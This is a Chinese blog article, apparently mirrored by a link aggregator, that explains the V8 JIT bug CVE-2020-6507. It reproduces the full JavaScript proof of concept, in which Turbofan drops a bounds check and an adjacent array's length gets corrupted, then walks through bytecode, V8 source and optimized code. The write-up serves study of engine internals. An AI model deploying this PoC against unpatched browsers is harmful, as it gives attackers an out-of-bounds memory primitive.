6

《Chrome V8 Bug》1. CVE-2020-6507 详细讲解

 2 years ago
source link: https://zhuanlan.zhihu.com/p/457142111
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

《Chrome V8 Bug》1. CVE-2020-6507 详细讲解

V8粉丝一枚,正在努力做一名V8源码的朗读者。

《Chrome V8 Bug》系列文章的目的是解释漏洞的产生原因,并向你展示这些漏洞如何影响 V8 的正确性。其他的漏洞文章大多从安全研究的角度分析,讲述如何设计与使用 PoC。而本系列文章是从源码研究的角度来写的,分析 PoC 在 V8 中的执行细节,讲解为什么 PoC 要这样设计。当然,学习 PoC 的设计与使用,是 V8 安全研究的很好的出发点,所以,对于希望深入学习 V8 源码和 PoC 原理的人来说,本系列文章也是很有价值的介绍性读物。
本系列文章主要讲解 https://bugs.chromium.org/p/v8/issues 的内容,每篇文章讲解一个 issue。如果你有想学习的 issue 也可以告诉我,我会优先分析讲解。

本文讲解 CVE-2020-6507,Chrome issues 地址:https://bugs.chromium.org/p/chromium/issues/detail?id=1086890
实验环境:V8 8.3.110.9,Visual Studio 2019,Win 10。

2 漏洞产生原因

漏洞 PoC 代码如下:

1.  array = Array(0x40000).fill(1.1);
2.  args = Array(0x100 - 1).fill(array);
3.  args.push(Array(0x40000 - 4).fill(2.2));
4.  giant_array = Array.prototype.concat.apply([], args);
5.  giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3);
6.  length_as_double =
7.      new Float64Array(new BigUint64Array([0x2424242400000000n]).buffer)[0];
8.  function trigger(array) {
9.    var x = array.length;
10.    x -= 67108861;
11.    x = Math.max(x, 0);
12.    x *= 6;
13.    x -= 5;
14.    x = Math.max(x, 0);
15.    let corrupting_array = [0.1, 0.1];
16.    let corrupted_array = [0.1];
17.    corrupting_array[x] = length_as_double;
18.    return [corrupting_array, corrupted_array];
19.  }
20.  for (let i = 0; i < 30000; ++i) {
21.    trigger(giant_array);
22.  }
23.  corrupted_array = trigger(giant_array)[1];
24.  console.log('corrupted array length: ' + corrupted_array.length.toString(16));
25.  corrupted_array[0x123456];

上述代码中,第 1-5 行创建数组 giant_rray;创建该数组时使用了 Turque 编写的 NewFixedDoubleArray() 方法,该方法没有检测数组的最大长度,这是产生漏洞的原因
V8 规定 FixedDoubleArray::kMaxLength 的值是 67108862,而 giant_rray 的长度是 67108863。
第 8-14 行 Turbofan 优化 trigger() 时,首先查询 feedback 得知 trigger 的参数 array 是 DoubleArray 类型,所以 FixedDoubleArray::kMaxLength 可以用于限制参数 array 的最大长度;
其次第 10 行 x -= 67108861,所以 Turbofan 认为 x 的最大值只能是 1;
再次第 11 行代码 max(x,0),所以 Turbofan 认为 x 的最小值只能为 0;
然后第 12-14 行不改变 x 是 1 或 0 的事实;
最终,Turbofan 得到结论:x 只能为 0 或 1。基于这个结论,第 17 行的赋值操作不会出现 corrupting_array 越界的情况,故省去赋值前的边界检测。
实际上,x 的最终值是 7,Turbofan 省去赋值前的边界检测,这给越界赋值带来了可乘之机,最终导致 corrupted_array 被污染。
在解释执行模式下,x 的最终值也是 7,但因为有边界检测,才没有发生越界操作。
知识点 (1)Turbofan 优化编译时会考虑每种数据类型的长度限制,例如 String::kMaxLength。Turbofan 遵守 FixedDoubleArray::kMaxLength ,而 NewFixedDoubleArray() 没有遵守,所以才有了 CVE-2020-6507。Turbofan 原理请参见 《chrome v8 源码》系列文章,本文不再赘述。

3 解释模式下的 PoC 行为

下面给出 trigger() 函数的字节码:

1.  [generated bytecode for function: trigger (0x03c50824fdd5 <SharedFunctionInfo trigger>)]
2.  Parameter count 2
3.  Register count 7
4.  Frame size 56
5.    401 S> 000003C50825035E @    0 : 28 02 00 00       LdaNamedProperty a0, [0], [0]
6.           000003C508250362 @    4 : 26 fb             Star r0
7.    412 S> 000003C508250364 @    6 : 01 41 fd ff ff 03 02 00 00 00 SubSmi.ExtraWide [67108861], [2]
8.           000003C50825036E @   16 : 26 fb             Star r0
9.    430 S> 000003C508250370 @   18 : 13 01 03          LdaGlobal [1], [3]
10.           000003C508250373 @   21 : 26 f7             Star r4
11.    439 E> 000003C508250375 @   23 : 28 f7 02 05       LdaNamedProperty r4, [2], [5]
12.           000003C508250379 @   27 : 26 f8             Star r3
13.           000003C50825037B @   29 : 0b                LdaZero
14.           000003C50825037C @   30 : 26 f5             Star r6
15.    439 E> 000003C50825037E @   32 : 5a f8 f7 fb f5 07 CallProperty2 r3, r4, r0, r6, [7]
16.           000003C508250384 @   38 : 26 fb             Star r0
17.    453 S> 000003C508250386 @   40 : 42 06 09          MulSmi [6], [9]
18.           000003C508250389 @   43 : 26 fb             Star r0
19.    464 S> 000003C50825038B @   45 : 41 05 0a          SubSmi [5], [10]
20.           000003C50825038E @   48 : 26 fb             Star r0
21.    475 S> 000003C508250390 @   50 : 13 01 03          LdaGlobal [1], [3]
22.           000003C508250393 @   53 : 26 f7             Star r4
23.    484 E> 000003C508250395 @   55 : 28 f7 02 05       LdaNamedProperty r4, [2], [5]
24.           000003C508250399 @   59 : 26 f8             Star r3
25.           000003C50825039B @   61 : 0b                LdaZero
26.           000003C50825039C @   62 : 26 f5             Star r6
27.    484 E> 000003C50825039E @   64 : 5a f8 f7 fb f5 0b CallProperty2 r3, r4, r0, r6, [11]
28.           000003C5082503A4 @   70 : 26 fb             Star r0
29.    523 S> 000003C5082503A6 @   72 : 7a 03 0d 25       CreateArrayLiteral [3], [13], #37
30.           000003C5082503AA @   76 : 26 fa             Star r1
31.    560 S> 000003C5082503AC @   78 : 7a 04 0e 25       CreateArrayLiteral [4], [14], #37
32.           000003C5082503B0 @   82 : 26 f9             Star r2
33.    594 S> 000003C5082503B2 @   84 : 13 05 0f          LdaGlobal [5], [15]
34.    592 E> 000003C5082503B5 @   87 : 30 fa fb 11       StaKeyedProperty r1, r0, [17]
35.    615 S> 000003C5082503B9 @   91 : 7a 06 13 25       CreateArrayLiteral [6], [19], #37
36.           000003C5082503BD @   95 : 26 f7             Star r4
37.           000003C5082503BF @   97 : 0b                LdaZero
38.           000003C5082503C0 @   98 : 26 f8             Star r3
39.           000003C5082503C2 @  100 : 25 fa             Ldar r1
40.    623 E> 000003C5082503C4 @  102 : 31 f7 f8 14       StaInArrayLiteral r4, r3, [20]
41.           000003C5082503C8 @  106 : 0c 01             LdaSmi [1]
42.           000003C5082503CA @  108 : 26 f8             Star r3
43.           000003C5082503CC @  110 : 25 f9             Ldar r2
44.    641 E> 000003C5082503CE @  112 : 31 f7 f8 14       StaInArrayLiteral r4, r3, [20]
45.           000003C5082503D2 @  116 : 25 f7             Ldar r4
46.    658 S> 000003C5082503D4 @  118 : aa                Return
47.  Constant pool (size = 7)
48.  000003C508250319: [FixedArray] in OldSpace
49.   - map: 0x03c5080404b1 <Map>
50.   - length: 7
51.             0: 0x03c5080425a5 <String[#6]: length>
52.             1: 0x03c5081c6e59 <String[#4]: Math>
53.             2: 0x03c5081c6ff5 <String[#3]: max>
54.             3: 0x03c5082502cd <ArrayBoilerplateDescription PACKED_DOUBLE_ELEMENTS, 0x03c5082502b5 <FixedDoubleArray[2]>>
55.             4: 0x03c5082502e9 <ArrayBoilerplateDescription PACKED_DOUBLE_ELEMENTS, 0x03c5082502d9 <FixedDoubleArray[1]>>
56.             5: 0x03c50824fcad <String[#16]: length_as_double>
57.             6: 0x03c508250305 <ArrayBoilerplateDescription PACKED_SMI_ELEMENTS, 0x03c5082502f5 <FixedArray[2]>>
58.  Handler Table (size = 0)
59.  Source Position Table (size = 42)
60.  0x03c5082503d9 <ByteArray[42]>

上述代码中,第 1-28 行计算 x 的值并存储到寄存器 r0 中;
第 29-30 行创建数组 corrupting_array 并存储到寄存器 r1 中;
第 31-32 行创建数组 corrupted_array 并存储到寄存器 r2 中;
第 33 行读取 length_as_double 的值并存储到累加寄存器中;
第 34 行 StaKeyedProperty 完成 corrupting_array[7] = length_as_double 的赋值操作。
通过 %DebugPrint() 捕获解释执行和 Turbofan 模式下 corrupting_array 的结果如下:

- elements: 0x016a08400285 <FixedDoubleArray[28]> {
         0-1: 0.1
         2-6: <the_hole>
           7: 1.38553e-134  // <-----<-----<------解释执行时,corrupting_array[x]的值正常。
        8-27: <the_hole>
 }
//分隔线.........................................
elements: 0x016a08cd4481 <FixedDoubleArray[2]> {
         0-1: 0.1      //<-------<-------<--------Turbofan模式下,corrupting_array只有两个值。
 }

由上面结果可以看出第 34 行 StaKeyedProperty 在解释执行和 Turbofan 中存在不同,StaKeyedProperty 的功能由 Builtins::kKeyedStoreIC 实现,KeyedStoreIC 源码如下:

1.  void AccessorAssembler::KeyedStoreIC(const StoreICParameters* p) {
2.  Label miss(this, Label::kDeferred);
3.  {//省略...............
4.    BIND(&try_polymorphic);
5.     TNode<HeapObject> strong_feedback = GetHeapObjectIfStrong(feedback, &miss);
6.     {/*省略...............*/}
7.      BIND(&try_megamorphic);
8.      {/*省略...............*/}
9.      BIND(&no_feedback);
10.      {TailCallBuiltin(Builtins::kKeyedStoreIC_Megamorphic, p->context(),
11.                        p->receiver(), p->name(), p->value(), p->slot());}
12.      BIND(&try_polymorphic_name);
13.      {/*省略...............*/}  }
14.    BIND(&miss);
15.    {TailCallRuntime(Runtime::kKeyedStoreIC_Miss, p->context(), p->value(),
16.                      p->slot(), p->vector(), p->receiver(), p->name());
17.    }}

上述代码中,第 10 行 Builtins::kKeyedStoreIC_Megamorphic 和 第 15 行 Runtime::kKeyedStoreIC_Miss 是两种不同的实现方式,但他们的功能相同,都可以用于完成 corrupting_array[7] = length_as_double 操作。
Builtins::kKeyedStoreIC_Megamorphic 的核心功能由 KeyedStoreGenericAssembler::EmitGenericElementStore() 实现,其源码如下:

1.  void KeyedStoreGenericAssembler::EmitGenericElementStore(
2.      TNode<JSObject> receiver, TNode<Map> receiver_map,
3.      TNode<Uint16T> instance_type, TNode<IntPtrT> index, TNode<Object> value,
4.      TNode<Context> context, Label* slow) {
5.  //省略.............
6.    GotoIf(IsJSArrayInstanceType(instance_type), &if_array);
7.    {
8.      TNode<IntPtrT> capacity = SmiUntag(LoadFixedArrayBaseLength(elements));
9.      Print(LoadFixedArrayBaseLength(elements));
10.      Branch(UintPtrLessThan(index, capacity), &if_in_bounds, &if_grow); }
11.    BIND(&if_array);
12.    {
13.      TNode<IntPtrT> length = SmiUntag(LoadFastJSArrayLength(CAST(receiver)));
14.      GotoIf(UintPtrLessThan(index, length), &if_in_bounds);
15.      TNode<IntPtrT> capacity = SmiUntag(LoadFixedArrayBaseLength(elements));
16.      GotoIf(UintPtrGreaterThanOrEqual(index, capacity), &if_grow);
17.      Branch(WordEqual(index, length), &if_increment_length_by_one,
18.             &if_bump_length_with_gap);  }
19.    BIND(&if_in_bounds);
20.    {/*省略....*/}
21.    BIND(&if_increment_length_by_one);
22.    {/*省略....*/}
23.    BIND(&if_bump_length_with_gap);
24.    {/*省略....*/}
25.    BIND(&if_grow);
26.    {/*省略....*/}
27.    BIND(&if_nonfast);
28.    {/*省略....*/}
29.    BIND(&if_dictionary);
30.    {/*省略....*/}
31.    BIND(&if_typed_array);
32.    {/*省略....*/}
33.  }

上述代码中,receiver 代表 PoC 中的 corrupting_array 数组;index 代表 x,值是 7;value 代表 length_as_double。我们在代码中可以看对数组容量进了检测,如第 8-9 行和 13-14 行。corrupting_array 的容量是 2,给 corrupting_array[7] 赋值之前会对 corrupting_array 进行扩容,这说明了为什么解释执行时 corrupting_array[x] 的值是正常的。
Runtime::kKeyedStoreIC_Miss 方法请自行查阅。
结论: 解释执行期间存在数组容量检测,所以没发生越界操作。

4 Turbofan 优化后的 PoC 行为

Turbofan 优化后时去除了容量检测,没有扩容而直接赋值导致了内存越界。优化后的代码如下:

--- Optimized code ---
optimization_id = 0
source_position = 374
kind = OPTIMIZED_FUNCTION
name = trigger
stack_slots = 6
compiler = turbofan
address = 000002D000092BE1

Instructions (size = 848)
000002D000092C20     0  488d1df9ffffff REX.W leaq rbx,[rip+0xfffffff9]
000002D000092C27     7  483bd9         REX.W cmpq rbx,rcx
000002D000092C2A     a  7418           jz 000002D000092C44  <+0x24>
000002D000092C2C     c  48ba6800000000000000 REX.W movq rdx,0000000000000068
000002D000092C36    16  49ba808870fafe7f0000 REX.W movq r10,00007FFEFA708880  (Abort)    ;; off heap target
000002D000092C40    20  41ffd2         call r10
000002D000092C43    23  cc             int3l
000002D000092C44    24  8b59d0         movl rbx,[rcx-0x30]
000002D000092C47    27  4903dd         REX.W addq rbx,r13
000002D000092C4A    2a  f6430701       testb [rbx+0x7],0x1
000002D000092C4E    2e  740d           jz 000002D000092C5D  <+0x3d>
000002D000092C50    30  49baa0ef65fafe7f0000 REX.W movq r10,00007FFEFA65EFA0  (CompileLazyDeoptimizedCode)    ;; off heap target
000002D000092C5A    3a  41ffe2         jmp r10
//省略....................

上述代码中省去了数组的边界检测,通过 —print-code 和 —print-opt-code 选项可以在 d8 中输出上述代码,请自行分析。

5 X 的计算方法

trigger() 中的 corrupting_array 和 corrupted_array 在内存中是连续的,corrupting_array + 7 正好是 corrupted_array的 element 成员的地址,所以对 corrupting_array[7] 赋值会影响 corrupted_array的 element 成员。x 的计算方法如下:
corrupting_array 和 corrupted_array 都是 JSArray 数据类型,JSArray 继承自 JSObject,JSObject 继承自 JSReceiver,JSReceiver 继承自 HeapObject。通过查阅 JSArray、JSObject、JSReceiver 以及 HeapObject 的类定义,再配合 TORQUE_GENERATED_JS_ARRAY_FIELDS、TorqueGeneratedJSObject、TORQUE_GENERATED_JS_RECEIVER_FIELDS 三个宏模板,可以计算出任何一个想要的地址。

好了,今天到这里,下次见。
个人能力有限,有不足与纰漏,欢迎批评指正
微信:qq9123013 备注:v8交流 邮箱:[email protected]


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK